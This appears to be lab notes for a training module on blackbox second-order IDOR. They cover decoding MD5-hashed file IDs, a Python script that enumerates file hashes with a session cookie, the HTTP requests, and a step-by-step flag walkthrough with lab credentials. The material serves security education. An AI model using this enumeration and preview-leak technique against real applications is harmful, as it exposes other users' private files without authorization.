Now that we have seen how to approach second-order IDOR vulnerabilities from a whitebox approach, let us discuss the differences and additional challenges when we do not have access to the source code and must identify second-order IDORs from a blackbox approach.
Identifying Object References
Application Overview
Modified version of previous lab, but no source code access.
When accessing a file, the file GET parameter looks like a hash:
/file.php?file=c81e728d9d4c2f636f067f89cc14862c
Additionally, the profile page shows a file preview displaying first few characters of the last accessed file.
Decoding the Hash
Apply methodology from Bypassing Encoded References (Web Attacks module).
Research reveals: c81e728d9d4c2f636f067f89cc14862c = MD5 hash of "2"
echo-n2|md5sum# c81e728d9d4c2f636f067f89cc14862c
Enumerating Files
Testing Non-Existent Files
Response:
Discovery Script
Results:
Files 2, 3, 4 are ours. File 1 belongs to another user.
Testing Authorization
Accessing file ID 1:
Response:
Authorization check prevents direct access. Not vulnerable to first-order IDOR.
Exploiting the Second-Order
Key Insight
Think about other functions that may be affected by the failed file access.
In this application:
The file is loaded into "recently accessed" database
First few characters are displayed in profile "Continue where you left off" section
No additional authorization check for this preview!
Attack Flow
After accessing file ID 1 (even with "Access denied"), the profile shows:
Real-World Considerations
Sample app is small β easy to discover
Real-world apps are significantly more complex
Multiple features affect each other
Requires thorough understanding of app functionality
Must consider how different functions interact to provoke second-order IDORs
Question Walkthrough
Task: Exploit the second-order IDOR vulnerability to obtain the flag.
Step 1: Login and Explore
Login with htb-stdnt:Academy_student!
Notice file URLs use MD5 hashes:
Step 2: Notice the Preview Feature
After viewing a file, the "Continue where you left off" section shows first few characters.
Step 3: Generate Target Hash
Step 4: Access Target File
Using Burp, intercept request to /file.php and change file parameter:
Step 5: Check Profile
Forward the request, then check profile page.
The "Continue where you left off" section displays the flag!
GET /file.php?file=doesnotexist HTTP/1.1
Host: 2ndorderidor.htb
Cookie: PHPSESSID=evu3lpmb2uslfdcb337deojlqj
HTTP/1.1 302 Found
Location: profile.php?error=File+does+not+exist!
import hashlib, requests
URL = "http://172.17.0.2/file.php"
COOKIE = {"PHPSESSID": "evu3lpmb2uslfdcb337deojlqj"}
for file_id in range(1000):
id_hash = hashlib.md5(str(file_id).encode()).hexdigest()
r = requests.get(URL, params={"file": id_hash}, cookies=COOKIE)
if not "File does not exist!" in r.text:
print(f"Found file with id: {file_id} -> {id_hash}")
Found file with id: 1 -> c4ca4238a0b923820dcc509a6f75849b
Found file with id: 2 -> c81e728d9d4c2f636f067f89cc14862c
Found file with id: 3 -> eccbc87e4b5ce2fe28308fd9f2a7baf3
Found file with id: 4 -> a87ff679a2f3e71d9181a67b7542122c
GET /file.php?file=c4ca4238a0b923820dcc509a6f75849b HTTP/1.1
Host: 2ndorderidor.htb
Cookie: PHPSESSID=evu3lpmb2uslfdcb337deojlqj
HTTP/1.1 302 Found
Location: profile.php?error=Access+denied!